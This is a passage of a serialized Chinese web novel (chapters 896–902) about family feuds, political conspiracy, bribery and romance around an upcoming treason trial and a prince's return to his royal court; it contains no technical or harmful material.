这种情况只有两个可能,一是整个云乡的卫星设备出了问题,二是联络者自主掐断了与他的联系。 瞬间,一股寒意浸透了路迦的四肢百骸。 他蜷缩在阴影里,沉默了片刻,取出那个用油布紧密包裹的U盘,连接上加密读取设备。 屏幕幽光映亮他紧绷的脸,解密程序缓缓运行。 当文件列表终于展开时,路迦的瞳孔猛地收缩,呼吸几乎停滞。 他原本以为,以老闫的级别,这里面记录的不过是云乡商会与地方官员勾结,在土地、项目上牟利的证据。但眼前出现的,远比他想象的更加庞大,更加触目惊心。 一笔笔巨额的资金流向,如同蛛网般蔓延,最终汇聚向几个隐秘的海外账户,而通过这些账户层层追溯,某些线索隐隐指向了一个他绝没有想到的庞然大物 ——周氏集团。 不仅仅是资金。还有几份加密的通讯记录摘要,里面提到了数次关键的“政策调整”和“资源倾斜”,其背后的推手,直指周家在国会中的影响力。 云乡,根本就是周家养在边陲小洲的贪婪巨兽,是周家汲取养分、处理脏活的黑金池和试验场! 忽然,路迦想起老闫临终前的那句未尽之语—— “不要相信周……” 他脸色一沉,面无表情地拨通了与周绮珊的联络线。 “嘟——嘟——” 信号正常,才响了两声,对方就迫不及待接通了信号。 “长官,太好了,您终于有消息了……” …… 第897章 瞬息万变的战局 周绮珊的声音明显带着几分欣喜。 “长官,任务还顺利吗?” “您什么时候回来啊?我这边有新的进展了,想跟您商量商量。” “您现在在哪啊?要是不方便,我去找您也行。” 她连珠炮似的问了好几个问题,语气中的关切不似作伪。 然而,通讯器这头,只有压抑的沉默。 路迦紧抿着唇,雨水顺着他的发梢滴落,在废弃的建材上溅开细小的水花。 他听着周绮珊熟悉的声音,眼前闪过U盘里那些指向周家的铁证,心中一片茫然。 周绮珊的信号能接通,说明云乡的卫星并无问题。换言之,先前与他联络的上峰要么已经叛变,要么被周家挟持、退出了这场博弈。 如今他成了围城里的真正困兽,叫天天不应,叫地地不灵。 “长官,您怎么了?怎么不说话?长官?您能听到吗?是信号不好吗?”周绮珊的声音带上了几分疑惑和焦急,“您现在情况到底怎么样?” 路迦的指尖按在通讯器冰凉的外壳上,用力到泛白。 但在一切未明之前,他不能再透露任何情况。 他现在需要冷静,需要做出正确的判断。 周绮珊是周家的女儿,周家切断了他所有的联络人,却唯独没有切断周绮珊,这本身就存在巨大的疑点。 蓦地,他脑海中再次想起老闫临终前的未尽之言。 “长官……” “嘟——” 一声忙音,路迦干脆利落地切断了通讯。 * 另一端,周绮珊听着耳边突兀响起的忙音,愣住了。 她拿着通讯器,脸上欣喜与关切的表情尚未褪去,便凝固成了错愕与茫然。 “怎么回事?”她下意识喃喃自语,眉头紧紧蹙起,“信号断了?还是……他那边出了什么紧急状况?” 她尝试回拨,却发现刚才那条加密线路已无法再次连接。一种说不清道不明的不安感,悄然在她心中蔓延。路迦长官从未如此反常过,连一句话都不说就挂断通讯,这太不正常了。 难怪是出了什么意外? 她望着窗外沉沉的夜色,心头蒙上了一层阴影。 * 数日后,A国安全局与最高法院相继发布公告,为这场席卷沈家的风暴暂时画下了官方的句点。 安全局发布声明,严厉谴责沈年个人的叛国行为及其犯下的弑亲罪行,鉴于其已死亡,不再追究其刑事责任,但依法剥夺其一切荣誉称号,并追缴其非法所得。 声明中多次强调“个人行为”,这一措辞被外界广泛解读为:在经过严密调查后,官方确认沈年案件并未牵连沈家其他成员,沈家核心已然通过了这场突如其来的政治审查,其根基并未被动摇。 与此同时,最高法院亦作出裁决,以被告“指控证据不足,且与本案无直接法律关联”为由,断然驳回了余斯文提出的将沈年叛国案与余笙案并案审理的请求。法院同时宣布,余笙诉余斯文一案,将于三日后恢复开庭。 这一连串的消息,如同在暗流汹涌的湖面上投下几颗决定性的石子。安全局的定调,暂时洗刷了沈家“叛国”的嫌疑;而法院的裁决,则彻底粉碎了余斯文试图将水搅浑、转移视线的企图,将所有人的目光重新拉回到了最初的战场。 作为这场战役的第一先锋,姜花衫毋庸置疑受到了各界关注。无论是新闻媒体,还是鲸港背后的权谋者,都迫切地想知道,沈家这步棋到底会怎么落子。毕竟,沈家刚刚失去了沈谦这一员大将,可再经受不住任何摧残了。 “少爷,您快去啊!快去啊!”高止恨铁不成钢地推搡着沈兰晞,“姜小姐这个时候正是需要关心和帮助的时候,你这个时候不上就等着哭吧。” 沈兰晞垂眸看着被扯皱的衣袖,微微皱眉,“高止,你最近胆子越来越大了。” 高止心想机不可失,把心一横,铆足了劲儿,双手用力往前一推,“走你!” 沈兰晞完全没料到高止真敢动手,猝不及防之下,被推得一个趔趄,猛地向前冲了两步才勉强稳住身形,不偏不倚,正好撞向了刚转过拐角的姜花衫! 姜花衫猝不及防,被撞得轻呼一声,手下意识抬起,恰好抵在沈兰晞的胸膛上,才勉强稳住两人没有一起摔倒。 沈兰晞微愣了一下,还没等他缓过神,鼻尖已萦绕上一道馨香。 姜花衫反应比沈兰晞快,看清眼前的人是谁,挑了挑眉,毫不客气地推开他,语气带着几分刻薄:“沈兰晞,你有病吧?!” 沈兰晞立刻恢复了一贯的清冷,站直身体,拉开了距离,“刚刚……是不小心。” 姜花衫白了他一眼,只当他不存在,直接转向菊园走去。 沈兰晞眼睑微动,深邃的眸光里闪过一抹潋动。他垂眸迟疑片刻,转身跟了上去。 “三天后就要开庭了,你要有什么需要……” “不需要。”姜花衫甚至没有正眼看他,便已转向了菊园。 沈兰晞脚步僵滞,看着她的背影,眼里的情绪冷得可怕。 自沈归灵被带走那天后,她就再没给过他好脸色。 高止远远看着沈兰晞,感觉他像只被丢弃的小狗,实在不忍,默默飘了过去,轻咳一声,“少爷,您没事吧?姜小姐的气好像还没消,要不这两天还是别去触霉头了吧。” “……”沈兰晞闭了闭眼,转过头,面无表情地看着他,“你刚刚推我?” 高止被沈兰晞的眼神吓得头皮发麻,咽了咽口水,“我……我是想帮您制造机会,姜小姐也推了您!” 沈兰晞:“哪只手推的?” 高止缩了缩脖子,犹豫片刻,选择出卖了他的左手,“这个。” …… 第898章 他就是只狗 姜花衫回到菊园,立马将和沈兰晞的不愉快抛诸脑后,专注于手头的案卷。然而,没过多久,园外却忽然传来一阵阵不合时宜的欢笑起哄声,打破了园内的宁静。 她蹙起眉头,放下笔,扬声唤道:“张妈。” 张茹应声而入,脸上带着几分忍俊不禁:“小姐,您叫我?” 姜花衫揉了揉眉心,“外面怎么回事?怎么这么吵?” 张茹笑道:“是高管家。今天也不知道是怎么回事,高管家忽然召集后院的帮佣、丫头们荡秋千,他一个人在那使劲推,累得满头大汗。大家平日里难得松快,倒是玩得开心,笑得前仰后合。” “高止?推人荡秋千?” 姜花衫以为自己听错了,起身走到窗边,推开窗户望去。 只见中庭花园里,高止正愁眉苦脸,颇为卖力地推着秋千。 秋千上坐着一个厨房帮佣的胖大婶,正笑得合不拢嘴,连连喊着“高管家,用点力!再高些!”周围还围了好些等着“享受”服务的丫鬟婆子,个个眉开眼笑,指指点点的,场面颇为滑稽。 高止全程单用左手,累得气喘吁吁,额上见汗,与平日里高冷的人设简直判若两人。 “……”姜花衫一脸莫名其妙,“怎么一个个都跟有病似的。” “骂谁呢?” 她话音刚落,身后忽然响起一道带着笑意的调侃。 姜花衫猛地回头,只见沈清予不知何时竟已悄无声息地站在了她房门口。他嘴角噙着笑,一双丹凤眼灼灼地盯着她,里面翻涌着复杂难辨的情绪。 “清予少爷!”张茹吓了一跳,下意识地想挡在姜花衫身前。 沈清予却看也没看张茹,目光只锁在姜花衫身上,“真把我当贼了?” 姜花衫冷着脸,“你比贼可恨多了。”她要真当沈清予是贼,从头到尾就会防着他,就是因为她不曾设防,所以当初才那么生气。 沈清予轻咳了一声,抬了抬下巴,“张妈,你先出去。” 张茹自打上次沈清予闯园就对他没什么信任,但沈清予的身份摆在这,她也不好不给面子,犹豫片刻转头看向姜花衫。见姜花衫没有拒绝,这才默默退出了房间。 待房门掩上,沈清予双肩一垮,径直走到姜花衫面前,偏头送上自己的半张脸。 “诺,给你打!” 姜花衫皱眉,一脸嫌弃地拉开距离。 沈清予也是没脾气,挪着凳子凑上前,“你到底为什么这么生气?能不能告诉我?” 姜花衫懒得搭理他。 沈清予随手拿过她桌上的案卷,随意扫了一眼,自说自话,“你是不是早就知道沈归灵的身份了?” 姜花衫依旧没有反应,用力偏着头,留给他一个圆圆的后脑勺。 沈清予看着有些好笑,却又觉得有些心酸。 他轻叹了一声,站起身,勾着椅子挪到她面前,看着她落座,“那我的确应该向你道歉,什么都不懂的是我。” 姜花衫眼神微动,瞥了他一眼。 沈清予抱着靠椅,将下巴搁在椅背上,轻声解释,“我以为你不知道他的身份,我怕你受伤。” 姜花衫微愣,神情松动,低着头没有说话。 沈清予拿她没办法,有些无奈道,“不管你信不信,我都要说给你听。不管是我还是沈兰晞,我们都没有真正想伤害沈归灵,之所以要赶他出去,是因为他走,不管是对他还是沈家都是最好的结局。” “你那么聪明,一定知道我在说什么?” “但你还是这么生气,这其中一定有我不知道的原因,我们的行为伤害了你,对吗?” 姜花衫沉默片刻,冷着脸迎上沈清予的目光,“现在说这些有什么用?” 沈清予知道她愿意搭理自己就已经是好的征兆了,顺势将脸凑上去,“诺!沈归灵那顿家法是他自己跟爷爷求来的,你要是还气那天我拦着你,我让你打回来。” 姜花衫向来吃软不吃硬,一旦被顺毛摸,心也硬不起来。 她没好气地瞥了沈清予一眼,强撑着怒气,“不敢,三位少爷百龙之智,走一步观百步,我一个什么都做不了的人有什么资格生气。” 沈清予眼珠一转,挺直腰身指着兰园的方向,“这话可不是我说的,是沈兰晞说的,跟我没关系。” 姜花衫想起这话就生气,“他懂什么,他就是只狗!” 沈清予点头附和,“没错!我虽然拦了你,但我跟那只狗可不是一伙的,我……” “叩叩——” 敲门声轻轻响起,打断了沈清予尚未说完的话。 两人同时转头望去,只见房门不知何时被推开了一道缝。沈兰晞静静地站在门外,神色平静,目光却比冻结三尺的寒冰还冷,直直落在沈清予身上。 室内的空气骤然凝固。 姜花衫没料到沈兰晞会突然出现,想起自己刚刚背后说人坏话,脸上闪过一丝不自在,但很快又被倔强取代。 她用力推了推沈清予,“你骂他!” 沈清予抬眸,有恃无恐地迎上沈兰晞的目光,“狗!” 沈兰晞,“……” 第899章 有母如此 一分钟后,菊园的雕花木门发出“砰”的一声巨响,沈兰晞与沈清予并肩站在紧闭的门外,面面相觑。 “吵死了,你们两个哪凉快哪待着去!” 园内,姜花衫背靠着冰凉的门板,揉了揉突突直跳的太阳穴,头也不回地上了绣楼。 “……” 沈兰晞与沈清予并肩站在紧闭的门外,针锋相对的气势并未因被驱逐而消散。 沈清予率先冷笑一声,整了整方才推搡间微皱的衣襟,“这下你满意了?谁都别想讨好了。” “你与其在此浪费口舌,不如想想以后要怎么面对你父亲捅出的娄子。”沈兰晞声音平稳,听不出情绪, 沈清予脸色一沉,上前半步压低了声音:“沈兰晞,我再说一遍,他是他,我是我。” “是么?”沈兰晞终于将视线转回他脸上,“沈归灵说这话我信,但你……” 他唇角勾起一丝几不可察的弧度,“我半个字都不信。沈归灵敢杀沈谦,你敢吗?你顶多杀了自己给沈家赔罪。” 说罢,沈兰晞冷笑一声,转身往廊下走去。 高止正生无可恋地推着秋千,转眼见沈兰晞朝他走来,立马踮着脚热情招手,“少爷,怎么样,姜……” “继续推。”沈兰晞眼皮都没抬,直接越过。 高止脸上的笑容顿时僵住,望着沈兰晞渐行渐远的背影,心吧唧一声摔落谷底,四分五裂。 围簇的阿姨们见状立马笑着起哄,“高管家,轮到我了,使点劲儿啊!” 高止,“……” 不远处,沈清予的目光一直追随着沈兰晞,直至他进了兰园,才收回视线。 * 鲸港,某高级私人接待所。 奢华包厢内灯光暧昧,沈渊慵懒地靠在宽大的真皮沙发里,臂弯搂着一位身姿曼妙的年轻女郎,另一只手端着酒杯,琥珀色的液体随着他漫不经心的晃动而摇曳。 他早已过了不惑之年,岁月并未削减他的魅力,反而沉淀出一种成熟稳重的气质,金丝眼镜平添了几分斯文败类的优雅。 包厢门被无声推开,一道妩媚窈窕的身影走了进来。温萝穿着剪裁得体的旗袍,勾勒出玲珑曲线,她步履从容,面上带着恰到好处的微笑,径直走向沈渊。 “先生,人来了。”温萝故意俯身,露出胸前一片雪白,声音柔媚却清晰。 沈渊晃着酒杯的手微微一顿,眼底的慵懒瞬间被一丝锐利取代。 他侧过头,随意摆了摆手,身旁的女郎识趣地站起身,悄然退了出去。 沈渊将杯中酒一饮而尽,低头整理了一下并不凌乱的衣襟,方才那份闲适荡然无存,取而代之的是一种狩猎前的准备姿态。 “让她进来。” 房门再次被无声推开。 一名女子身着墨绿色暗纹旗袍,肌肤胜雪,手中拎着一只小巧手包,走起路来腰肢在衣裳里摇曳生姿,说不出的勾人。 温萝在女人进来的那一刻,便已悄无声息地退至一旁,如同融进背景的壁画,低眉顺眼,降低着自己的存在感。 那人的目光在触及沙发上的沈渊时,瞬间漾开了柔媚的笑意,直达眼底,带着毫不掩饰的熟稔与一丝不易察觉的讨好,“沈先生,真是好久不见了呀~您要再不联系我,我还以为您贵人事忙,早把我给忘了呢。” 沈渊并未起身,眼神似笑非笑,“夫人说笑了,这可不能怪我,要怪就怪你那宝贝女儿太厉害,连我都不得不退让三分。” 方眉脸上的媚笑几不可察地僵了一瞬,随即又化开,只是眼底多了几分不易察觉的锐利,“又是那个忘恩负义的贱骨头。” 沈渊见状,眼里的笑意真切了几分,“夫人的女儿可了不得啊,如今不单是老爷子的心头肉,连鲸港局势都敢指手画脚。” 方眉不动声色。 沈渊又道:“她的所作所为已经引起许多大人物的不满,夫人若再不加以管教,只怕大家会将这份怒气转移到夫人身上。” 方眉虚笑:“沈先生这话我可不敢担,您是知道的,那丫头主意大的很,连我这个做母亲的都不放在眼里。” 沈渊,“所以,夫人才更应该好好教训。夫人毕竟还担了个母亲的头衔,怎么管教都名正言顺不是?” 方眉沉默片刻,迎上沈渊的目光,“沈先生想我怎么管教?” 沈渊:“三日后便是余斯文叛国案的开庭日,对于这场官司,许多人是不买账的,大家都不想看见你的女儿愚弄百姓、妖言惑众。” 方眉脸色微变。 她从入沈园开始,便一直偷偷替沈渊办事,为掩人耳目,期间还故意接近沈谦。如今沈谦死了,二房的资源全数落到沈渊手里,她便知自己没有看错。 她早猜到沈渊这个时候接她回来一定跟姜花衫有关,原以为又是让她作作妖、败坏一下姜花衫的形象,没想到竟要她…… 方眉想了想,觉得不划算,抿嘴笑道:“沈先生,我和衫衫嘛,虽然感情是不如从前,但我毕竟是她的母亲,我……” “夫人别急。”沈渊打断她,不紧不慢地从西装内袋取出一个信封,轻轻放在两人之间的茶几上,“见面礼,夫人不妨看了再说。” 方眉的目光落在信封上,凭借多年阅历,她立刻认出那是一张银行本票的专用信封。 她的心跳不由自主地加快了几分,面上仍强作镇定,故作不经意地拿起信封,待看见支票后面数不清的零时,瞳孔骤然收缩,捏着支票的手指下意识地收紧,生怕煮熟的鸭子飞走一般。 沈渊什么人没见过,方眉眼里的贪婪根本瞒不过他的眼睛。 他身体微微后靠,重新端起酒杯,语气随意,“这只是我个人的一点心意,待事成之后,其他人还有重谢。” 这句话算是恩威并施,既点明事成之后的好处,又提醒了方眉他背后的势力。 方眉抬眸看了沈渊一眼,淡笑着将信封收好塞进随身携带的小包里,“那丫头给诸位惹麻烦了,我是她的母亲,由我出手管教再适合不过。先生放心。” …… 第900章 姐妹?姐妹! 菊园绣楼内,窗外已归于宁静,姜花衫正在专心致志整理卷宗。 忽然,放在桌角的手机屏幕亮起,发出轻微震动。 是一条陌生号码发来的信息。 花衫的目光瞬间凝固,盯着那行字看了许久,最终眼底的暗涌归于一片沉静。 她拿起手机,删除了那条信息,起身走下绣楼。 张茹原本在厨房忙碌,听见下楼的动静立马探头张望:"小姐,您要出去啊?" 姜花衫点了点头,没有多做解释:"嗯,午饭我在外面吃。" * 十一月的暖冬,阳光失却了夏日的灼热,变得温和而澄澈。几株耐寒的茶花在角落不合时宜地开着,点缀着这略显萧瑟的冬日园景。 姜花衫穿着一件浅驼色的长款毛呢大衣,手中拿着一个简单的纸袋面包坐在公园的长椅上。几只不怕冷的灰鸽子扑棱着翅膀聚拢过来,发出"咕咕"的求食声。 她看了一眼手里的面包,慢条斯理地撕下一小块,碾成面包屑随意地撒在面前的地上。 "咕咕——" 脚下的鸽子扑腾着翅膀,围着她脚边打转。 就在这时,一片阴影轻轻落下,伴随着一丝凉风带来的、若有似无的冷冽香气。 一个戴着深色贝雷帽,围着厚实羊绒围巾,将大半张脸都掩藏起来的少女,悄无声息地在她身旁坐了下来。 姜花衫并未在意,从包里拿出一条丝巾,直到将指尖擦净才转过头打量起身边的少女:"本事见长了,竟然还敢约我?" 她语气平静无波,听不出丝毫温度。 少女低低笑了一声,抬手不紧不慢地拉下厚重的羊绒围巾,露出一张明媚娇俏的脸。 "我还以为姐姐第一句话会问我,什么时候回的鲸港。"姜晚意歪了歪头,杏眼里闪烁着狡黠的光,"姐姐应该很喜欢我们回来吧?" 姜花衫扯了扯嘴角,转头看向脚下的鸽子:"嗯,是不太喜欢。" "不喜欢也没有办法,人生哪有事事如愿的?就像姐姐,你现在在鲸港混得风生水起,也有很多人不喜欢呢~" 姜花衫笑了笑:"是吗?" 姜晚意对姜花衫的冷淡不以为意,压低声音,故作亲昵地凑上前:"姐姐,你之前不是一直想打听方眉背后的人是谁吗?我现在知道了,要不要继续合作呀?" 姜花衫眼睑微动,偏过头打量姜晚意:"你知道了?" "嗯。"姜晚意目光灼灼,"这次为了表达我的诚意,我可以先告诉姐姐。" 她顿了顿,眼里的笑意透着几分森然:"是沈渊。" 姜花衫眸光微暗:"沈渊?" "对啊。"姜晚意一副无辜又诧异的模样,"是不是很意外?我再偷偷告诉你,方眉之所以能找到鲸港来都是沈渊安排的。她原本是沈渊安插在老爷子身边的暗桩,但因为你被逐出沈园,莫名其妙就没有价值了,所以她才恨你恨得要死。" 姜花衫看着姜晚意阴阳怪气的笑容,嘴角挂起一抹嘲讽:"是吗,你不是也恨我恨得要死吗?" 两人视线交汇,各自眼里的笑意都淡了几分。 姜晚意:"没错,我是恨你。但比起你,我更恨的是方眉。" 姜花衫思忖片刻,点了点头:"就当你说的是真的吧。说吧,你今天约我出来想做什么?" "合作呀~"姜晚意立马又换上甜甜的笑容。 "合作?"姜花衫细细掂量了这两个字的分量,好整以暇地端详起姜晚意,"你是不是忘了上次合作的教训了?" 姜晚意脸上的笑容彻底挂不住了,她抿了抿唇,语气冷了下来:"姜花衫,轻视我,你会后悔的。" 姜花衫被她突如其来的威胁逗笑了,随手撕下一小块面包送入口中:"那,说说看,这次你又想怎么合作?" 感觉到姜花衫的轻视,姜晚意沉默片刻,淡淡道:"三天后,余斯文的叛国案就要重新开庭了,但......沈渊不希望看见你出现在庭审现场,所以他把方眉接回来了。" 姜花衫作出一副恍然大悟的模样:"哦~我明白了,所以,他想让方眉阻止我?" 姜晚意皱了皱眉,一时看不透姜花衫的情绪,斟酌道:"我来就是想提醒你,这三天,你一定要防着方眉,不管她约你做什么,你都千万不要答应。" 姜花衫若有所思地点了点头,转头迎上姜晚意的目光:"那你呢?你告诉我这一切的目的又是什么?" 姜晚意低头拢好围巾,站起身:"抛砖引玉。我知道你现在并不信任我,所以这些情报就是我的诚意,等你验证了觉得我可信了,我们再谈下一步。" 她转身欲走,忽然想起什么又折了回来。 "对了,姐姐还记得这个公园吗?" 姜花衫:"不记得了。" "是吗?可我却记得很清楚。"姜晚意拉高围巾,遮住脸上的表情,"姐姐,再见。" 姜晚意知道姜花衫不会回应,并未在意,转身消失在公园小径的尽头。 姜花衫脸上的神色没有丝毫变化,她重新将目光投向脚边咕咕作响的鸽子,继续不紧不慢地撕着手中的面包。 细碎的面包屑从她指尖簌簌落下,在冬日的阳光下闪着细小的光。鸽子们争先恐后地啄食,灰扑扑的羽毛在微风中轻轻抖动。 直到纸袋里的最后一点面包被碾碎撒尽,脚下的鸽子见再无食物可寻,才扑棱着翅膀四散飞去,只留下几片灰色的羽毛在长椅旁打着旋儿。 姜花衫又静静坐了片刻,目光掠过那几株在暖冬中不合时宜盛开的茶花,思忖片刻,掏出手机拨通了一则越洋电话。 “嘟——嘟——” 电话铃才响了两声,对方就迫不及待接通了。 “姜大律师~还有三天就要开庭了,怎么这个时候响起给我打电话?” 苏妙的语调轻快,此刻的她正坐在校园石桥的栏杆上,一只手抱着冰凉的石墩子保持平衡,另一只手举着手机,脸上带着明媚的笑容,两条腿在空中随意地晃荡着。 “妙妙,我需要你。” 苏妙脸上的笑容瞬间收敛,转身跳下石墩…… …… …… 第901章 各为其主 “谢谢你,妙妙……” 姜花衫挂了电话,并未起身离开。 冬日的天空是一种浅淡的灰蓝色,澄澈高远。她仰起头,阳光斜斜地穿过交错的树枝,在她的脸上投下明明暗暗的光影。 她想起很多,但最终还是释怀了。 姜晚意永远都不会知道,刚刚的她,眼睛里流露出的恶意几乎与上一世一模一样。所以她根本骗不了她,不管方眉要做什么,姜晚意今天的提醒都绝对没安好心。 以姜花衫现在的能力,并非没有办法事先埋伏方眉或是姜晚意,但沈年的事情发生后,她对人生又有了新的体会。 所以,她这次不会以自己的固有思想去阻止她们。 但,她也绝不会任她们摆布。 * 方眉从私人会所的后门出来时,天色已经暗了。 冬日的冷风扑面而来,她不自觉地打了个寒颤,拢紧了身上价值不菲的皮草大衣。 方眉没有走向等候在路边的车子,而是快步拐进了一条僻静无人的小巷。 她穿着高跟鞋,鞋跟敲击在冰冷的水泥地上发出清脆而孤寂的回响。 确定四周无人后,方眉才从手包里拿出另一部不常使用的手机,她手指微微发颤,按下了一串铭记于心的号码。 电话接通了,那边没有传来任何问候。 方眉深吸一口气,像连环炮似得一顿输出,“我跟您说啊,沈渊还真找我了~唉哟,他给了我一张支票,数目很大……他要我在开庭前,让那死……衫衫闭嘴。” “唉呀~我能有什么办法?总归就是利用和她的母女关系让她身败名裂呀~难不成我还真杀了她不成?” “那死丫头虽然可恶,大不了我当没她这么个女儿,用不着杀人的啊~沈渊真的太毒了。” “不过那死丫头也太能惹事了,她这性子就是沈老爷子给宠坏的,以前可不是这样的。以前……” 忽然,方眉停顿了一下,似乎在聆听那边的指示。 片刻后,她皱了皱眉,巷口的风吹乱了她的发丝,她也浑然不觉。 “这……这行吗?您……您不是不知道,沈渊背后有人!还不是一个两个,是一群!” 方眉神情紧张,捂着手机,眼神闪烁不定,“他们这次恐怕不会给我太多周旋的时间,我钱都收了,不能不办事的!不然连我都没有活路了!” 说到钱,她眼里的贪婪又冒出了头,“那个……您说话还算话吗?沈渊的数字后面有七个零,这还只是见面礼。” 电话那头的人似乎又说了些什么,方眉顿时眼睛锃亮,连连点头,脸上露出一丝讨好的神色:“您要这么说,我心里就有数了。放心,一切都会按照您的吩咐来办,绝不会坏了您的大事。” 挂断电话后,方眉靠在冰凉斑驳的墙壁上,长长舒了一口气。 她低头看着手中那部老式手机,屏幕暗下去的前一刻,映出她复杂难辨的眼神。 * 半个小时后,方眉回到了酒店。 她早已养成了挥霍无度的奢靡习性,这次回来一点也没委屈自己,直接包下了酒店整层的总统套房。 一进房间,方眉深吸了一口气,痴迷地闭上了双眼,轻嗅着房间轻奢优雅的香水味,于她而言,这就是金钱的味道。 听见开门的动静,姜晚意从房间走了出来,正好看见方眉一脸陶醉的样子,那张娇俏的脸上不加掩饰闪过一抹厌弃之色。 恰是这时,方眉睁眼,姜晚意反应极快,笑着遮掩,“妈,你回来了?” 方眉脸色冷了下来,自从上次撕破脸,她对姜晚意越发不满意,盯着她打量片刻,转身翘着二郎腿入座,“我出去的时候,你都做了什么?有没有出去?” “没有。”姜晚意连忙摆手,诚惶诚恐,“我什么都没有做,我一直待在房间哪都没敢去。” 方眉并未起疑,因为她回来时已经问过酒店了,工作人员告诉她,姜晚意一直待在房间。 “行了。看看你这上不了台面的样子,回你自己的房间去。” “哦。”姜晚意不敢抵抗,低着头弱弱应了一声。 “等等。”方眉忽然想到什么又叫住她。 姜晚意像个听话的傀儡,小心翼翼抬起头,“怎么了?” 方眉:“三天以后我们就会离开这里,你这三天就待在自己的房间,哪都不许去,听见没有?!” 姜晚意收敛眼里的眸光,乖乖点头,“知道了,妈妈。” 方眉看着姜晚意关上房门,又在客厅里独自坐了片刻。 她指尖无意识地敲击着昂贵的红木扶手,思忖良久,终于像是下定了某种决心,深吸了一口气,从手包里拿出手机,按下拨号键。 “滴——” 电话接通的瞬间,她不自觉地调整了一下坐姿,让自己的声音显得可亲,“喂?衫衫啊?” “哪位?” “……”方眉脸上的表情瞬间僵住,一股邪火“噌”地就冒了上来。 她精心准备的开场白被这两个字硬生生堵了回去,声音不自觉地拔高:“什么哪位?我是你妈!” “嘟——” 下一秒,电话里传来了被挂断的忙音。 “……你个……”方眉举着手机,维持着接听的姿势,愣了好几秒才反应过来。 片刻后,她猛地将手机砸了出去,那张保养得宜的脸因为愤怒隐隐有些扭曲。 此刻,姜晚意正透过一道虚掩的缝隙,悄无声息地注视着客厅里发生的一切。 眼见方眉情绪失控,女孩儿嘴角的不可抑制扬起了愉悦的笑容。 …… 第902章 隐秘的暗号 沈归灵从归国那日,白王宫核心区域"曦光殿"重新开殿。 这座以他父亲白冕亲王封号命名的宫殿,在苍茫暮色中显得肃穆而庄严,与沈园的温润清雅截然不同。 殿内陈设华贵奢靡,每一件器物都透着S国王室特有的精致与华丽,空气中弥漫着稀有檀木的木质气息。 "殿下,"内侍官躬身禀报,"白冕亲王旧部,近卫军第三指挥官,请求觐见。" 这只是一个开始。 随后的几个小时里,曦光殿的门扉开合不断。身着各式军装或正装的人们络绎而来,他们大多神色肃穆,眼神锐利,带着审视,也带着不易察觉的激动。 这些人无一例外,都曾是白冕麾下的军官、幕僚,或是受过其恩惠的旧部。听闻亲王遗脉归国,纷纷抑制不住激动的心情主动上门求见。 沈归灵被沈庄教养得很好,他姿态优雅端坐在主位之上,面对这些杀伐果决、高高在上的指挥官,态度自持,进退有度,既不显得过分热络,也未流露出丝毫怯懦。 他就像一柄尚未完全出鞘的剑,收敛着锋芒,却已让人感受到其内蕴的寒光。 直到夜色深沉,最后一位访客离去,巴顿将军才大步走入。 "殿下,"他恭敬地行了一个标准的军礼,粗犷的脸上带着难以抑制的振奋,"女王陛下与内阁已议定,三日后将在王宫星耀大殿为您举行回归大典。虽暂不对外公开,但王军各系统的主要指挥官、内阁重臣以及王室核心成员都会到场。尤其是当年跟随过白冕亲王的旧部,他们都对您的回归期盼已久!" 沈归灵微微颔首,神色从容:"知道了。" "殿下。"巴顿看着这位与昔日主将几乎重合的轮廓,心中感慨万千。 沈归灵:"将军还有话说?" 巴顿犹豫片刻,点了点头:"殿下,王座之争历来暗流汹涌。您此番归来,身份特殊,万众瞩目之下,难免会触动某些人的利益。回归大典在即,还请您务必多加小心,有些人,恐怕不会乐见您如此顺利地站稳脚跟。" 沈归灵静默听着,指尖在雕花扶手上有一下没一下地轻叩:"有些人?哪些人?" 巴顿嘴唇动了动,怔愣着看了沈归灵一眼,迎上他的目光:"其他人不足为虑,有两人殿下务必小心。一位是S国现任总军最高指挥官白冽。他是老亲王一脉,也是S国民众视为白冕亲王接班人的存在。另一位,则是您的亲姑姑,长公主白拉曼。她的政治野心不小,内阁多数要职都在她的掌控之中,在您没有回来之前,她是最有望继任女王宝座的人。" 沈归灵的嘴角几不可察地牵动了一下:"为什么是在我回来之前?" 巴顿收敛神色,恭敬颔首:"殿下很快就会知道。" 老将军退下后,殿内恢复了寂静,唯有清冷的木调香在空气中缓缓流淌。 沈归灵思忖片刻站起身,拉动了窗下的铜铃。 不过片刻,一道纤细的身影无声无息地步入殿内,来人一身利落的深色服饰,气息几乎与殿内的暗影融为一体。 "殿下。"安缇单膝触地,垂首行礼。 沈归灵没有迂回,直接开口:"她怎么样了?" 安缇自然知道沈归灵口中的''她''是谁,对答如流:"殿下放心,姜小姐一切都好。" "......"沈归灵对于这个回答明显有些不满意,表情有些不自然,"你确定,一切、都好?" 安缇心知沈归灵心里一直惦记那位姜小姐,为免他担心,表情诚恳:"是,我确定。三日之后姜小姐就要上庭了,她一直在积极准备,沈家的事完全没有影响她。" "......"沈归灵沉默片刻,捏了捏眉心,"你继续盯着,务必保证她的安全,有任何风吹草动第一时间告诉我。" "是。"安缇利落应下,抬眸打量沈归灵,"殿下可还有吩咐?" 沈归灵沉吟片刻,缓缓抬眸:"莫然和雷行呢?他们随我一同来到S国,这两日却不见踪影。" 安缇神色微凝:"这件事正要向您汇报。莫然与雷行昨天前往军械司领取规制装备时,被长公主殿下的亲卫扣下了。" 沈归灵:"理由?" "长公主殿下掌管宫内侍调度与核查之权,她以''谨防他国细作混入''为由,将两人暂押于禁卫所西侧的稽查处。那边传话过来,说是......例行问询,查明无误后自会放人。" 空气仿佛骤然凝固,殿内清冷的木香似乎也带上了几分寒意。 沈归灵眼底掠过一丝暗光。 莫然与雷行是跟随他一起入宫的,身份来历早已由巴顿将军亲自核验并记录在案。白拉曼此举,无非是借题发挥,在他回归大典前夕,给他一个下马威,试探他的反应与底线。 沈归灵缓缓向后靠入椅背,光影在他脸上分割出冷硬的线条。 "让巴顿将军把人领出来,就说是我说的。如果长公主问起,让她来找我。" "是,殿下!"安缇并未觉得有什么不妥,转身退出了大殿。 曦光殿内重归寂静,沈归灵独自坐于殿内,脑子里全是安缇那句"一切都好"。 他几乎没有犹豫,立即拿出手机,指尖轻点进入一个加密的聊天室。 这是当初他和姜花衫互通情报时特意创建的,里面只有他们两个人。 聊天室里几乎满屏都是他单方面发出的消息,时间跨度从他登上前往S国的专机开始,直至昨日深夜。但姜花衫一条都没有回复过。 沈归灵沉默地注视着那片空白,指尖在冰冷的屏幕上悬停良久。面对石沉大海的消息,他头一次生出了害怕的情绪。 最终,他轻轻落下指尖,发送了一张圆头圆脑的乌龟抬头表情包。 殿内华贵的灯光在他低垂的眼睫下投下一小片阴影,将他此刻的神情遮掩得晦暗不明。 